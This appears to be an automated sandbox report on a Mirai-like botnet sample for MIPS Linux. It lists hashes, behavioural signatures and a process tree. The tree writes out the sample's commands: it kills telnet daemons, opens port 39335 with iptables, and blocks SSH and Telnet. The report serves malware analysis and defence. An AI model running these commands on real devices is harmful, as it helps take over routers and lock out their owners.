Resubmissions

26-08-2024 15:34

240826-sztdka1emb 8

26-08-2024 15:33

240826-sza7zsseqp 8

26-08-2024 15:32

240826-syxdtssepn 8

Analysis

  • max time kernel
    21s
  • max time network
    22s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26-08-2024 15:32

General

  • Target

    bin.sh

  • Size

    132KB

  • MD5

    59ce0baba11893f90527fc951ac69912

  • SHA1

    5857a7dd621c4c3ebb0b5a3bec915d409f70d39f

  • SHA256

    4293c1d8574dc87c58360d6bac3daa182f64f7785c9d41da5e0741d2b1817fc7

  • SHA512

    c5b12797b477e5e5964a78766bb40b1c0d9fdfb8eef1f9aee3df451e3441a40c61d325bf400ba51048811b68e1c70a95f15e4166b7a65a4eca0c624864328647

  • SSDEEP

    3072:phNlHuBafLeBtfCzpta8xlBIOdVo3/4sxLJ10xioP:p3lOYoaja8xzx/0wsxzSi2

Score
8/10

Malware Config

Signatures

  • Contacts a large (988) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Writes file to system bin folder 1 TTPs 2 IoCs
  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 3 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bin.sh
    /tmp/bin.sh
    1⤵
    • Modifies Watchdog functionality
    • Enumerates active TCP sockets
    • Reads system routing table
    • Writes file to system bin folder
    • Reads system network configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:727
    • /bin/sh
      sh -c "killall -9 telnetd utelnetd scfgmgr"
      2⤵
        PID:731
        • /usr/bin/killall
          killall -9 telnetd utelnetd scfgmgr
          3⤵
          • Reads runtime system information
          PID:732
      • /bin/sh
        sh -c "iptables -I INPUT -p tcp --destination-port 39335 -j ACCEPT"
        2⤵
          PID:839
          • /sbin/iptables
            iptables -I INPUT -p tcp --destination-port 39335 -j ACCEPT
            3⤵
              PID:840
          • /bin/sh
            sh -c "iptables -I OUTPUT -p tcp --source-port 39335 -j ACCEPT"
            2⤵
              PID:844
              • /sbin/iptables
                iptables -I OUTPUT -p tcp --source-port 39335 -j ACCEPT
                3⤵
                  PID:846
              • /bin/sh
                sh -c "iptables -I PREROUTING -t nat -p tcp --destination-port 39335 -j ACCEPT"
                2⤵
                  PID:847
                  • /sbin/iptables
                    iptables -I PREROUTING -t nat -p tcp --destination-port 39335 -j ACCEPT
                    3⤵
                      PID:848
                  • /bin/sh
                    sh -c "iptables -I POSTROUTING -t nat -p tcp --source-port 39335 -j ACCEPT"
                    2⤵
                      PID:855
                      • /sbin/iptables
                        iptables -I POSTROUTING -t nat -p tcp --source-port 39335 -j ACCEPT
                        3⤵
                          PID:856
                      • /bin/sh
                        sh -c "iptables -I INPUT -p tcp --dport 39335 -j ACCEPT"
                        2⤵
                          PID:857
                          • /sbin/iptables
                            iptables -I INPUT -p tcp --dport 39335 -j ACCEPT
                            3⤵
                              PID:858
                          • /bin/sh
                            sh -c "iptables -I OUTPUT -p tcp --sport 39335 -j ACCEPT"
                            2⤵
                              PID:859
                              • /sbin/iptables
                                iptables -I OUTPUT -p tcp --sport 39335 -j ACCEPT
                                3⤵
                                  PID:860
                              • /bin/sh
                                sh -c "iptables -I PREROUTING -t nat -p tcp --dport 39335 -j ACCEPT"
                                2⤵
                                  PID:861
                                  • /sbin/iptables
                                    iptables -I PREROUTING -t nat -p tcp --dport 39335 -j ACCEPT
                                    3⤵
                                      PID:862
                                  • /bin/sh
                                    sh -c "iptables -I POSTROUTING -t nat -p tcp --sport 39335 -j ACCEPT"
                                    2⤵
                                      PID:863
                                      • /sbin/iptables
                                        iptables -I POSTROUTING -t nat -p tcp --sport 39335 -j ACCEPT
                                        3⤵
                                          PID:864
                                      • /bin/sh
                                        sh -c "iptables -I INPUT -p tcp --destination-port 22 -j DROP"
                                        2⤵
                                          PID:865
                                          • /sbin/iptables
                                            iptables -I INPUT -p tcp --destination-port 22 -j DROP
                                            3⤵
                                              PID:866
                                          • /bin/sh
                                            sh -c "iptables -I INPUT -p tcp --destination-port 23 -j DROP"
                                            2⤵
                                              PID:867
                                              • /sbin/iptables
                                                iptables -I INPUT -p tcp --destination-port 23 -j DROP
                                                3⤵
                                                  PID:868

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads